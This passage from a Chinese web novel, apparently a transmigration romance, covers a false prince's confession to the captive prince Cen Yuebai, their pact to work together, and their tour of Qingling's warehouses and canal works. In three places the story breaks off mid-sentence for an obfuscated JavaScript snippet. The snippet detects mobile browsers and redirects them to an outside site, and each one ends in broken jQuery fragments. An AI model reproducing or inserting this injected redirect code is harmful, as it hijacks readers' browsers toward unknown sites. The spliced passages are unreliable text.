“先喝点汤,暖胃。”他又夹了一筷豆苗放在岑月白碗里,“你两天没好好吃东西,不能吃太油腻。” 岑月白看着那碗汤,热气氤氲上来,模糊了视线。 他没说话,拿起勺子,小口小口地喝。 饭后,倪映天没有像往常一样去书房。他破天荒地早早吩咐下去,今夜不必留值夜的人在内院,只让侍卫远远守着外门。 他拉着岑月白的手往自己的寝殿走,岑月白很听话,自始至终都一言不发,也没有反抗。 夜色已深,廊下的灯笼在风里轻轻摇晃,将两人的影子拉长又缩短。 倪映天的寝殿很宽敞,却也很冷清,不像常有人住的样子。 他自回到青陵后,其实很少踏足的这里。 他经常待在书房,工作到深夜,累了就直接在书房的小床上睡了。 此刻,寝殿已被重新收拾过,床铺得平整,并排铺着两床锦被。旁边的木矮柜上,放着托盘,里面是两件素色寝衣,刚被熏笼烘暖过的,干净柔软。 “换衣服吧。”倪映天拿起一套寝衣递给岑月白,“我去外面等你。” 他转身出了门,反手带上门扉。 廊下的夜风更凉了,倪映天靠在柱子上,仰头看着庭院里那棵银杏。 深秋时节,叶子已经黄了大半,在月光下像一片片碎金。夜风吹过,一片枯叶挣脱了枝头,打着旋儿,晃晃悠悠地飘落下来,最终无声地落在地面上。 倪映天的大脑一片空白,又似乎塞满了嘈杂的声音和画面。全都是刚才岑月白在他面前崩溃哭泣的模样,那么脆弱,那么绝望,像一只被折断了翅膀,淋透了雨的凤凰。 他发现面对这样的岑月白,他竟手足无措。 “我不想喜欢上你”,这句话像魔咒一样在他脑海里反复回响。 倪映天很难说清楚,听到这句话时他是什么感受,他只知道,那一瞬间他的心脏狠狠地抽痛了一下,那是一种不容他忽略的抽痛。 那句“对不起”,不仅仅是为了原主而道歉,还有他自己…… 他一直以为,自己和原主不一样,不是个畜生,对岑月白强取豪夺。 他一直以为,只要他好好对待岑月白,让他吃得好,穿得暖,把人哄得开开心心的,就能万事大吉。 毕竟自己的穿书,已经免去了他太多的苦难,他又在无理取闹地抱怨些什么呢? 他忽然意识到,自己这些日子以来的所作所为,其实和原主没有本质区别。 原主把岑月白当玩物,肆意欺辱。而他呢?他把岑月白当任务对象,当需要照顾的宠物,当一个可以按照自己意愿去塑造的符号,一个需要妥善处理的“任务物品”。 他从来没真地把岑月白当成一个完整的人。一个有尊严、有骄傲、完整的、有自己思想情感的人。 何尝不是另一种形式的残忍? 月光清冷,廊下的风更紧了。倪映天闭上眼睛,深深吸了一口气,冷空气灌进肺里,刺得生疼。 良久,他转身,推开了房门。 然后,他愣住了。 映入眼帘的画面,让倪映天呼吸都为之一滞。 岑月白已经换上了那身雪白的寝衣。 他静静地临窗而立,背对着门口,望向窗外。 衣料有些宽大,松松地罩在单薄的身子上,透过月光勾勒出他单薄瘦削的身形轮廓。长发用那支木簪随意挽起,睫毛上残存的湿气似乎都凝成了水珠。 清冽的月光透过菱花窗格倾泻进来,为他周身镀上了一层朦胧而冰冷的银边。 他像是没有听到倪映天进门的声响,一动不动,仿佛与那束凝固月光融为一体。 倪映天放轻了脚步,仿佛怕惊扰了这幅静止的画卷。他慢慢走到岑月白身后,顺着他凝望的方向看去。 那是朝南的一扇窗。 越过青陵城起伏的屋檐和高耸的城墙,在更远更远的夜色深处,能隐约看到连绵的山脉,那是岷山山系的余脉。 而岷山之后,云雾缭绕的地方,是落云国。 那是岑月白的落云国。 “想回去看看吗?”他问。 话一出口,他就做好了准备——如果岑月白说想,他就停下手里所有的事,亲自带他回去看看。 反正系统只要求岑月白不能离开他,那他就一起去落云一趟,就当是补偿。 但他没想到,岑月白的眼睫垂了下来,脑袋缓缓地摇了摇。 回去做什么呢? 二姐被迫入山“静修”,老师想必也步履维艰。 他现在一无所有,没有证据,没有兵马,没有足以撼动岑域统治的筹码。 贸然现身,除了引来更疯狂的追杀,连累可能还在暗中周旋的亲人,还能有什么意义? 那些短暂又虚假的慰藉,改变不了任何事实。 只能徒增伤感,徒惹危险。 岑月白缓缓转过身,目光落在了倪映天的脸上。在背对着月光的阴影里,岑月白那双眼睛却发着光,美得像勾魂摄魄的妖精。 倪映天被看得莫名一怔,心头微乱。 “怎么……”他刚想询问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301684|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 话音未落。 一片温软蓦地覆上了他的嘴唇。 柔软的唇瓣带着微凉的温度,轻轻贴在他的唇上。岑月白闭着眼,睫毛颤抖着,主动吻了上来。他的动作生涩,吮吸了一下倪映天的下唇,温热又香甜的气息毫无保留地喷洒在对方鼻翼间。 一切都来得太猝不及防,倪映天的大脑“嗡”的一声,瞬间空白。等到倪映天反应过来,他的心脏才像失序一般狂跳起来。 “你……做什么?”倪映天终于反应过来,下意识地就想将人推开,声音带着罕见的慌乱。 岑月白却仿佛下定了某种决心,非但没有退开,反而手臂环上倪映天的脖颈,身体则化成了水一般软软地贴在他怀里,仿佛要将自己全部交付出去。 两人推搡间,倪映天脚下不稳,踉跄着向后跌坐在了床沿。 岑月白顺势向前,阴影笼罩下来。他背对着窗外的月光,面容模糊,唯有那双眼睛亮得惊人。他抬手,抽掉了发间那根唯一的木簪。 “嗒”的一声轻响,木簪落在铺着厚毯的地面上。 如瀑的乌黑长发瞬间倾泻而下,瞬间散落满肩,几缕发丝拂过倪映天僵硬的脸颊,带来细微的痒意。 “倪映天,你听着。”岑月白终于开口,声音哑得厉害。 “我可以给你,”他说,语速很快,仿佛怕自己后悔,“给你我的所有,我的身体,我的顺从,甚至……” 他顿了顿,眼底有什么情绪一闪而过,快得抓不住,“甚至爱意,也可以。” “我可以试着去爱你,可以不离开你,可以在床笫之间对你言听计从……都可以。”他说得很快,语序有些混乱,像是在逼迫自己一口气说完,“你想把我当玩物也好,当爱人也罢,随你高兴。我只要……你帮我一件事。” 他俯身,双手撑在倪映天身侧的床沿上,长发垂落,几乎将两人笼罩在一个私密的狭小空间里:“帮我复仇。” 月光下,他的眼睛像燃着两簇幽暗的火: “我想通了,我不需要再做什么太子,也不要什么国君之位。事成之后,我可以永远留在你身边……你想怎么样都可以。” “不会让你为难,更不需要你额外动用力量,这是我的私仇,我会自己查清真相,收集证据。我只希望你……不要阻止我。” 话音落下,寝殿内一片死寂。 岑月白抬手,毫不犹豫地扯开了自己寝衣的系带。 丝绸顺滑,领口瞬间向两侧滑开,露出一片如玉的肌肤和精致脆弱的锁骨,在昏暗中白得刺眼。 “岑月白!”倪映天猛地回神,低吼一声,几乎是触电般伸出手,一把攥住了即将滑落的衣襟,用力向中间合拢。 四目相对,他深吸了一口气,强迫自己冷静下来,手上却稳稳地将岑月白的衣襟拉好。 “岑月白,”他吞了吞口水,声音低哑得不像自己,“你听我说。” 倪映天深吸了一口气,说:“我不是倪映天。” 他伸手摸索着将那根系带重新仔细系上,打了个结。然后抬头望着岑月白的眼睛,那双眼睛里充满了疑惑和茫然。 倪映天重新说:“我的意思是……我不是原本的那个倪映天。” “我的本名叫乔晏,我们,可以合作。” …… 17. 坦白 倪映天费了很大力气跟岑月白解释清楚,什么叫穿书,什么叫系统。 寝殿内,月光似乎都凝固了。 岑月白脸上的震惊逐渐褪去,取而代之的是一种极度的狐疑和审视。他重新打量眼前这个的男人。 什么穿书?系统?任务? 这些词语,超出了他所能理解的范畴,听起来比最荒诞的志怪小说还要离奇。 “你……”岑月白迟疑地开口,“是不是得了什么癔症?” 他想起祝枭提到过,倪映天两月前生了一次重病。 难道发烧伤到了脑子? 倪映天扶额苦笑了一下。 他深吸一口气,耐着性子用尽可能直白的方式再解释一遍。 “那些药膏,那块玉,还有那些话本……都是原主准备的,不是我。”倪映天解释道,“我不碰你,是因为我根本不是原来那个倪映天,我对你……没有那些龌龊的心思。” “那你为什么不放我走?”岑月白问,“为什么既然你不是他,没有那种心思,为什么还要囚禁我?” “因为我不能。”倪映天握紧了他的手,“那个‘系统’,它要求我必须完成……那些任务,否则……我会死,这个世界可能也会崩塌。” “听起来很荒唐,对吧?但我说的每一个字,都是真的。你要相信我。” 月光静静地照着两人。 岑月白愣在原地消化了好久,才说:“证明给我看。” “今天仓库里多出来那些铁矿,就是我们昨晚我们……完成那个任务,系统的奖励,我可以带你去看。”倪映天想了想,解释道。 “还有今晚,今晚只要我们睡在一个床上,明天会有三千斤的木炭……对不起,这些事情我都应该提前告诉你。” “……” 岑月白抽回了自己的手。 他低下头,看着自己的指尖。然后,他重新抬起头,看向倪映天。 “所以,”他轻声问,“你对我好,哄我开心……都只是为了完成任务?” 不是。 倪映天想立刻否认,但话到嘴边,又咽了回去:“……是的,但是……” 他垂着眼,有点不敢看岑月白的眼睛。 “但是后来,”倪映天最终说,“我觉得你跟我一样,都是被困在这里的可怜人,我想,至少在我能做到的范围内,让你好过一点,算是……一点微不足道的补偿。” “毕竟我不爱你。你也不爱我。我却要强迫你做那些事……这不公平。” 岑月白再次沉默了很久。 久到窗外的月亮都似乎移动了一寸,久到倪映天几乎以为他不会再有回应。 然后,岑月白忽然笑了一下。 “原来如此。”他轻声说,“怪不得……你总是那么奇怪。我明白了。” 他抬起头,月光洒在他精致的侧脸上,那双眼睛重新聚焦,看向倪映天时只剩冷静的清明。 “所以,倪映天,或者我该叫你什么?”他问。 “乔晏。我叫乔晏。”倪映天立刻答道。 岑月白点了点头:“乔晏。那么,我们现在可以抛开那些无谓的纠缠,谈谈真正的‘合作’了,对吗?” “什么合作?”倪映天有些没反应过来。 “对,合作。”岑月白的声音平稳,向前微微倾身,“你帮我复仇,帮我查明落云国宫变的真相,帮我复仇。” “而我,”他顿了顿,目光坦然,“而我不会再试图逃走,我会一直留在这里,留在你身边,配合你完成所谓的‘任务’,什么都行,只要你提,我一定配合,什么都配合。” 倪映天看着月光下岑月白。 少年背对着窗口,面容半明半暗,那一双鬼魅一般妖冶的眼睛仿佛勾魂摄魄,不断蛊惑着他。 倪映天忍不住吞了吞口水。 “怎么样?我们各取所需,很公平。” “……好。”乔晏听见自己说。 - 入夜,岑月白像是实在哭累了,躺下没一会儿就睡着了。倪映天躺在床上,心情格外地复杂。 操,怎么就自己怎么就稀里糊涂答应了呢?! 他原计划是跟岑月白道歉,说开之后,就自力更生地努力,再也不依靠系统了。 但是岑月白没给他机会,就直接给他“各取所需”了? 那岂不是答应了迟早有一天自己会和这人上床?倪映天懊恼地看着岑月白的脸,越看心里越涌上一种怪异的感觉。 他又想到了刚刚岑月白吻他时那个吻…… 绵软香甜的触感似乎还残存在嘴角…… “……” 他毫不意外地失眠了,一想到身边睡了一个刚强吻了自己的大男人,他就浑身不舒服。 倪映天顶着两个黑眼圈,直到凌晨,他看着系统的任务成功的提醒,眼一闭心一横,裹着被子一个翻身,假装一不小心掉到了床下,然后干脆靠在榻旁的木架子上睡着了。 - 次日清晨,倪映天在醒来时,发现自己在床上好好躺着,床铺的另一边已经空了。 已经日上三竿,岑月白起得比他早,已经穿戴整齐,正坐在外间的圆桌旁,就这一杯清茶,翻阅一不知从哪里找来的青陵地方志。 听到动静,他抬起眼:“醒了?我看你实在太累,就没叫你。厨房送了早膳过来,我让昭昭用炭火温着。” 他动作从容,态度自然,仿佛昨夜那个剖白心迹,崩溃哭泣的岑月白不是他一样。 倪映天应了一声,起身洗漱,两人同桌用早膳,气氛依旧沉默,却没有之前的紧绷,像是两个不熟的室友。 用过早膳,倪映天放下筷子,主动开口:“今日我要去城西的仓库清点新到的物资,还要勘定几处准备动工的屯田点。你……要一起去看看吗?” 岑月白擦拭嘴角的动作顿了顿,抬眼看他:“我可以去?” “当然。”倪映天点头,“在城内你可以自由行走,而且,你跟着或许能为我提供一些不同的视角。” 他想起了前天晚上岑月白对他水利渠线的精准点评,补充道,“更何况有部分渠道是你纠正设计的,不是吗?” - 城西的仓库外,工匠们争忙碌着。 几辆牛车停在门前,壮汉们喊着号子,将一块块沉甸甸的铁锭搬上牛车,运往铁匠铺。 远处一个身影高大的男人,宽肩窄腰,穿着绀青色的武袍,正在跟手下的人训话。注意到了倪映天的马车,走过来向倪映天行礼示意。 是顾凛。 “王爷,按您的吩咐安排好了。” 倪映天朝他微微颔首,带着岑月白,往仓库更深处走去。跟随两人一起过来的祝枭热情地过去拍了拍他的肩膀,意味深长地朝他挑挑眉,然后两人一起远远地跟在“王爷”和“小王妃”身后。 路过那些整齐码放的铁锭,晨光下,铁锭泛着冷硬的青黑色光泽,整齐地码放在地上,渐渐堆成小山。 “居然有这么好的成色。”岑月白惊异道。 “这些就是昨夜我跟你说的那些铁锭……”倪映天低声说,终于带他到了仓库另一件屋子,打开之后,里面是密密麻麻几十个封好口的麻袋。 倪映天去打开,里面满满的全是木炭! 岑月白双眼瞪大,伸手摸出一块,木炭的品质很好:“这些就是昨天晚上的……” 倪映天点点头。 岑月白眼中闪过惊异,或许今早醒来时他还对倪映天那些系统啊,任务啊之类的言论心存怀疑。可眼前的景象让他不得不信。 短短一夜,青陵城不可能凭空多出这么多木炭,更何况是这种成色的上等货。 “这些是用来……做什么?”岑月白问。 身旁的顾凛上前递来一块干净的方帕,示意他擦手。 “打工具。”倪映天更走进去了几步,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301685|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机打开几个麻袋,检查货物,“本来只想屯个田,结果屯田要修水渠,修水渠又要工具,工具要铁锭,铁锭还要木炭来锻造……我是没想到居然这么麻烦……” 他拍拍手,接过岑月白递上的手帕,将手上沾的黑煤擦干净,叹了口气,“我计划让他们半个月内至少将开渠用的工具打好。现在的问题是城里的铁匠不太够。” 话未说完,一个青年工匠就躬身呈上几块块绘图的绢布,恭敬道:“王爷,按您昨天画的图样,师傅画出了新的图纸。” 倪映天接过图纸,打开。岑月白好奇地凑过去看。 那是几页工具的图样,确实与寻常所见不同。上面的铁锹比例更短,边缘开有锯齿,铲子的不同部位还又不同大小的圆孔和异形的凹槽。 岑月白细细看了一会儿,忍不住连连点头。 这样的一把铲子,可以劈、砍、凿、挖…… “这是军工铲,一铲十用,效率少说能提高一半。”倪映天小声跟他解释,笑容里有些得意,“是我从系统里抄来的。虽然肯定达不到原本世界精钢的强度,但至少工具设计得更合理高效一些。我说给几个老师傅,让他们去画具体的图纸。” 岑月白先是讶异,随即唇角难以抑制地弯了起来,轻笑一声:“原来如此。” “嗯?你笑什么?”倪映天奇怪地看他。 “我说你那晚在书房怎么水渠画得那么费劲。”岑月白笑着看他,眼底闪过一丝狡黠语带调侃,“原来……都是现抄现卖的啊。” 倪映天被他说得耳根一热,却也不恼,反而跟着笑了起来。他笑得很放松,带着点被戳破的窘迫。 “读书人的事怎么能叫抄呢,那叫借鉴先进生产力!” 身旁的青年不明所以,半晌,等两人笑够了才插言:“王爷,所以这些工具要按照图纸打造?” “对。”倪映天肯定道,“不过现在最要紧的是半个月内,把铁器都打出来。八百套工具,光靠城里的十几个铁匠,怕是有些来不及。” 岑月白沉吟片刻,开口:“马上入冬了,正值农闲,城里应该有不少青壮,可招些手脚麻利的来做些简单的粗活,让老师傅们专心锻打、淬火,这样分工,进度能快不少。” “对。”倪映天赞许地看着岑月白,“我也是这么想的做流水线。” “什么?” “啊,这是我们那个世界的术语,”倪映天解释道,“就像……就像制陶器,和泥的、拉胚的、上釉的、烧窑的,各管一段,批量做好半成品再给下一步工序加工。” 岑月白了然地点点头,默默地在心底琢磨“流水线”这个词。 倪映天立刻将事情安排给那青年,又找来几个工头,让他们将这满仓库的木炭也运往铁匠铺。 事情一件一件安排下去,两人走出仓库,日光正好。 他们又驾马车去城外看看水渠的选址,岑月白没有反对。 车床开着,深秋的风带着凉意灌进来。祝枭和顾凛跟在马车后,隔着一段距离,听不清楚车内说话,却能看见两人交谈时考的很近的肩膀。 “哎,哑巴,你说……”祝枭压低声音,朝顾凛挤挤眼,“咱王爷跟小王妃,是不是成了?” 顾凛白了他一眼没答话。 “哎,”祝枭笑嘻嘻的,自顾自说得眉飞色舞,“昨儿晚上小王妃闹成那样,哭得天崩地裂,今儿就并肩同游,有说有笑了。你猜猜发生了什么?” 顾凛面无表情,目视前方不理他,祝枭也不恼,继续胡扯:“咱们王爷,果然是‘深入浅出’,‘身体力行’地把人给哄好了啊。” “你是没瞧见,昨夜小王妃那模样,泪眼婆娑,啧啧,我见犹怜呐!咱们王爷那般英雄人物,岂能坐视不管?定然是要抱到房里慢慢哄,上面哄不好就用下面哄,你想想那花前月下,郎情妾意,颠鸾倒凤……” 顾凛终于侧目,眼神冷得如刀:“舌头不想要可以割下来喂狗。” 18. 巡 车内,岑月白争指着窗外的一片坡地:“这里就是你图上标的那处主渠的拐弯处?” “对。”倪映天凑过去看,“但是那里土质松软,直接挖容易塌,得绕个弯,但是绕弯也有讲究,弧度太大……” 他说着,忽觉岑月白的视线久久落在自己侧脸。 “……看什么?” “看王爷您……运筹帷幄,挥斥方遒。”岑月白眼底漾开一片清浅笑意,揶揄地看着他,“真是博闻强识,令人钦佩。” 倪映天被他这文绉绉的调侃弄得耳根发烫,肩膀不轻不重撞了他一下:“你少来!我抄就抄了,不许笑我。” 岑月白笑着摇头,顺势靠回车壁:“荀子说,君子生非异也,善假于物也。能借前人的智慧,本就是大才。” “我是在夸你,乔大才子。” 马车在城外的旷野停下。这里已经聚集了不少工匠。 深秋的薄阳下,数十名工匠散布在辽阔的坡地上。地面已被白灰线分割成规整的几何图形,宛如一幅巨大的棋盘。几位老师傅手持图纸,声如洪钟,指挥着年轻学徒们依线挖出浅浅的沟槽。 这是定位,等工具齐备,正式开工时便沿着这些标记深挖。 倪映天利落地跳下马车,几位工头立刻围拢上前。他边听边踱步,时而蹲下,用手指捻起一撮土仔细查看,时而用脚尖轻点基槽边缘,查验深度。 岑月白静默地随在他身后半步,目光沉静地扫过施工现场,将工头的汇报,工匠的动作,乃至土地的成色一一纳入眼底。 片刻后,他也接过一张图纸,与倪映天并肩而行。 两人时而以指为笔,在虚空或图卷上勾勒;时而驻足争论,讨论人数与工期的合理性,时而又因想到一处,相视一笑。 旷野的风吹动他们的衣袍,日光渐渐升高,将两道专注的身影拉长,投在这片属于他们的土地上。 - “哎,好一对新婚燕尔的小夫妻呀!”祝枭百无聊赖地靠在马车边,忽然又叫住一旁的顾凛,“你看,我就说咱王爷对小王妃是真心的,你还不信,他今天笑的次数都赶上以前两个月的量了。” “……” 顾凛抱着剑,靠在马车上,没答话,目光一眨不眨的看着远处的两个身影。 “王爷可是十几岁去了一趟落云国,魂儿就丢那儿了,对咱小王妃念念不忘了,回来还偷偷画小像呢!啧啧啧,不知道是哪个贵族家的小公子,本人比画上好看多了。”祝枭像是习惯了自说自话,继续道,“喂,你小子,不会还想着王爷吧?” “我再澄清最后一遍,”顾凛抬手揉揉眉心,“我没有喜欢王爷。” “哎,哑巴,”祝枭像是根本没听到,祝枭一拍大腿,仿佛灵光乍现,他忽然撑起身体,摸着下巴,饶有兴趣地打量着顾凛,“你看正好,你暗恋王爷,我喜欢小王妃,咱俩要不把他们夫妻二人拆散了,然后一人一个,岂不美哉?” “……”顾凛白他一眼,“我看你又想吊城门上了。” “怎么会?你没发现吗?小王妃来了之后,咱王爷温柔多了。”祝枭不以为意,“就算是在小王妃面前装好人,他也不会把我吊在城门上了。” “话说,谭封墨那个呢?昨天惹了小王妃不高兴,该不会今天挂城门示众了吧?” 话音刚落,远处道上便出现了两道人影。 谭封墨走在前头,他手中提着一个沉甸甸的三层朱漆食盒,步伐却依旧稳健。昭昭小步跟在他身侧,手里也捧着两个小巧的提盒,脸颊被风吹得微红。 “王爷,公子。”谭封墨行至近前,将食盒稳稳放下,恭敬地一礼,“昭昭姑娘说二位一早出城,怕误了午饭,属下便去厨房取了些简便饭食送来。” 他将食盒打开,里面是几样简单的菜色——酱牛肉,清炒时蔬和炖豆腐,还有一大盅热汤,两张烙饼。虽不精致,却热气腾腾。 昭昭提着的食盒轻便许多,递给岑月白。食盒打开,里面是两叠云片糕和糯米桂花糕。 昭昭比划着,说这是她跟谭封墨一起亲手做的。 谭封墨…… 岑月白随着昭昭的手指望向一旁面容俊朗的侍卫。 谭封墨朝他笑笑,跟两人告退,带着转身去一旁的营帐处排队,与祝枭和顾凛二人一起领些菜粥。 “上次给你送的糕点也是他给做的。”见两人走远,倪映天侧过身小声跟他说。 “哦,怪不得……”岑月白手去摸那块云片糕的手一顿。 他拈起那块洁白柔软的糕点,熟悉的清甜香气萦绕鼻尖,却瞬间将他拖入遥远的回忆。那是在御花园的石桌旁,燕诀偷偷摸摸从怀里掏出油纸包,说“我哥教我做的,殿下尝尝!”…… 倪映天问:“怎么了?” “没什么,只是……”岑月白喃喃道,“怪不得那天让我想到了,燕诀给我做的……” 他目光不由自主地再次飘向谭封墨离开的方向。 那个沉稳克制又彬彬有礼的背影,此刻与记忆中另一个活泼飞扬的身影隐隐重叠,又因截然不同的气质而割裂开来。 “燕诀?”倪映天回忆了一下,“哦,我好像记得,是你那个贴身侍卫,他……” 倪映天一顿,想到昨晚岑月白情绪崩溃的时候,说了什么燕诀背叛他之类的话,连忙住了口,换了个话题,“我记得落云的云片糕有好几种做法的,谭封墨说他小时候在锦城长大的,所以比较熟悉你们那边的做法吧。” 岑月白却猛然一回神,看着倪映天的眼睛。 不对。 他不知道? 他居然不知道! 倪映天居然不知道谭封墨的身份,不知道他叫燕诏,更不知道他与燕诀的关系。 为什么? 一股寒意,猝不及防地从尾椎骨窜上,瞬间冻结了他的血液。 他原以为,燕诏是岑域为了和倪映天里应外合而派到倪映天身边的。 但倪映天居然不知道燕诏和燕诀的关系?!怎么会? “怎么了?”倪映天奇怪地问。 “没……没什么,”岑月白的大脑忽然变得十分清明,“只是没想到他确实是锦城人。” 他本想找机会先把这个话题绕过去,但他明显多虑了,几个工头凑过来汇报早上的工作。倪映天一边吃,一边还在跟工头交代事情。 岑月白安静地听着,忽然开口:“你这样事事亲力亲为,太累了。” 倪映天苦笑:“没办法,青陵这边的官府都是草包,除了阿谀奉承什么都不会。底下又缺能用的人……” “那就去找。”岑月白说,“水渠的事一旦开工,后面还有垦荒、育种、修路……千头万绪。更何况,治城又不止发展农业,我确实需要个能统筹大局的人。” “确实,”倪映天叹了口气,“我前些日听说,青陵城郊有位隐居的隐士,姓陆,字元淳,是先帝在位时的肱骨之臣,后来因辞官归隐,就住在梁州。” 在倪映天的记忆里,小时候见过这个老臣,先帝夸他有治世之才,只是性子固执,又太重感情。后来不知道发生了什么,这人便辞官隐居。 “你想请他出山?”岑月白问。 “嗯。”倪映天点头,继而叹气望天,“只是……这位陆先生既然归隐,恐怕不愿再涉足官场。况且,我若亲自去请,水渠这边又走不开;” 岑月白看着他,忽然道:“你若信我,我可以代你去。” 倪映天怔住,他想了一会儿,摇摇头:“还是我去吧,我如果不亲自去,显得多不够诚意……” “况且,我记得他早年与落云国那边有点牵扯,不知道他认不认得出你,你还是不方便露面……” “那就换一换。”岑月白拈起一块糯米桂花糕,塞在嘴里,“你去请贤。水渠这边的事,我替你看着。” 倪映天惊讶地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301686|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向他:“怎么忽然这么积极?” “我们现在是合作关系,青陵城发展得好了对我也有好处,不是吗?”岑月白答道。 “说得对!”倪映天脱口而出,笑容爽朗, “那这座青陵城,以后也算有你一半……”话一出口,他才惊觉歧义。 “咳!我是说……治理的功劳!贡献!”倪映天手忙脚乱地找补,耳根却诚实地跟着烧了起来, “不是那个……什么夫妻共同财产的意思!你别误会!” 岑月白看着他如此手足无措的慌乱模样,忽然觉得好笑,他咽下口中甜糕问:“夫妻共同财产?又是你那个世界的新词?” 倪映天顿时更窘,急着要解释。 岑月白却摆摆手:“不过你说,青陵城有我一半,这话我记下了。日后可不许反悔。” - 午饭用罢,工头们散去继续忙碌。倪映天站起身,拍了拍衣摆上的草屑,朝岑月白伸出手:“走,我带你去看看上游的水源。”他的手悬在半空,掌心朝上。 岑月白看着那只手,犹豫片刻,终于将自己的手放了上去。 掌心相贴。 倪映天一把将他拉起,两人并肩朝着河岸走去。 忽然,祝枭用手肘捅了捅顾凛,压低声音惊呼道:“哇哇!哑巴,看见没?!” “亲嘴了亲嘴了。” 跟在身旁的昭昭也惊呼连连,害羞地捂住了脸,又忍不住偷偷从指缝中往河岸边看。 岷江畔,只见刚刚还并肩而行的两人忽然停步,然后岑月白勾着倪映天的衣领,就这么吻了上去。 顾凛依旧面无表情,只是目光在相拥的两人之间徘徊片刻,又望向凑在昭昭身边说浑话逗小姑娘的祝枭,最终无奈地叹口气,转身,牵马跟了上去。 “!!!” 倪映天如遭雷击,猛地后跳半步,捂住嘴,瞪圆的眼睛里写满了震惊与羞愤:“卧槽,你真亲啊,你也提前给我说一声啊!” 岑月白却好整以暇地抿了抿唇:“这下你可以给我那些书了吧?” “不……不给!”倪映天气愤地指着他,“我都跟你说了,我不喜欢男人!你这是……这是职场性骚扰!” “又是什么生造词,听不懂听不懂。”岑月白捂着自己的耳朵,“反正亲都亲了,你总该物尽其用吧?快把你刚刚说的那些系统里的什么《天工开物》、《农政全书》、《鲁班经》什么的都给我看看……” “不给!”倪映天拒绝道。 “为什么?” “我这回如你的愿了,那你以后岂不是就得寸进尺了?”倪映天梗着脖子,试图挽回气势,“以后想要什么东西就随随便便强吻我,威胁我,占我便宜。” “我?占你便宜?!”岑月白指指自己,又指指倪映天,漂亮的眼睛瞪大,里面写满了难以置信。 “昂……”倪映天有些心虚,抱胸直视岑月白,“你看我这脸,我这身材,我这……哪,哪点差了?” “你……”岑月白气不打一处来,“行,反正是你不喜欢男人,你有理。但我喜欢,这便宜占一次是占,占两次也是占……我们现在是合伙的,要你刚刚说那什么……资源共享,利益最大化!” 他说着就就准备再亲一口。 “停停停!殿下!祖宗!我错了。”倪映天立刻举手投降,满脸崩溃,“给你给你,回去给你下载行了吧!” - 旷野上,深秋的风掠过枯草,发出沙沙的声响。远处,岷山的轮廓在薄雾中若隐若现。 远处,谭封墨牵着马车,遥遥站着,沉默地注视着阳光下那对争吵又拌嘴的身影。 他的目光长久地落在岑月白带着淡笑的侧脸上。风掠过旷野,卷起枯草,也吹动那两人的衣袍,交织又分开,竟有种奇异的和谐感。 倪映天…… 太子殿下…… 谭封墨缓缓垂下眼帘,遮住眸中翻涌的深沉暗流。 19. 疑 午后,日光西斜,给旷野上的工棚和人群拖出长长的影子。 倪映天拍掉手上的土,兴致勃勃地提议:“走,再去铁匠铺看看,第一批工具的雏形应该快出来了。” 岑月白却揉了揉额角,脸上露出一丝疲惫。 “不了,”他声音有些轻,“走了一上午,实在有点累。” “哎,你这身体不行啊,小黛玉,老是病恹恹的可不行,以后多练练。”倪映天笑道。 “病恹恹还不是拜你所赐?我从小到大都没这两个月受苦。”岑月白白他一眼,又说,“你不是说,那些书……都替我下载好了么?我想先回去看看。” 倪映天看着他略显苍白的脸,想起他才大病初愈,今日又奔波半日,答应道:“也是,你先回去歇着。书就在我书房桌上,你自己去拿便是。” 他转身,目光在自己的三个侍卫身上扫过,最终落在顾凛身上:“顾凛,你来送公子回王府。” “算了。”岑月白却忽然开口,目光掠过顾凛和笑嘻嘻的祝枭,最终落在那个始终沉默的身影上,“昨天……是我情绪不佳,对谭侍卫言语有些过激。不麻烦的话,就让谭侍卫送我回去吧。” 他语气平静,甚至带着点歉然的温和,“路上,正好也能说开些误会。” 倪映天不疑有他,只觉岑月白愿意主动化解矛盾是好事,便点头应允:“也好。封墨,你好好护送公子回府。” 谭封墨躬身领命,面上无波无澜:“是,王爷。” - 马车驶离喧闹的工地,奔向青陵城。 车厢内,昭昭有些不安地挨着岑月白坐着。岑月白侧过脸,对她温和地笑了笑,轻轻拍了拍她的手背。 “昭昭,昨日……吓到你了吧?”他声音放得很柔,“我并非有意对你发脾气,只是当时心中实在烦乱,迁怒于你了。对不起,你不要生气。” 昭昭连忙摇头,她思索片刻先指了指自己胸口,接着掌心向前摆一下,然后握拳在胸口轻敲。 岑月白有些新奇地看着她摆手比划,起初不太明白她的意思,两人拉扯片刻他才理解了这是“我不生气”的意思。 “跟谁学的。”岑月白笑意加深,问。 昭昭指了指外面赶车的谭封墨。 “谭封墨?”岑月白略显惊讶,又似乎想到了什么,有一瞬愣神。 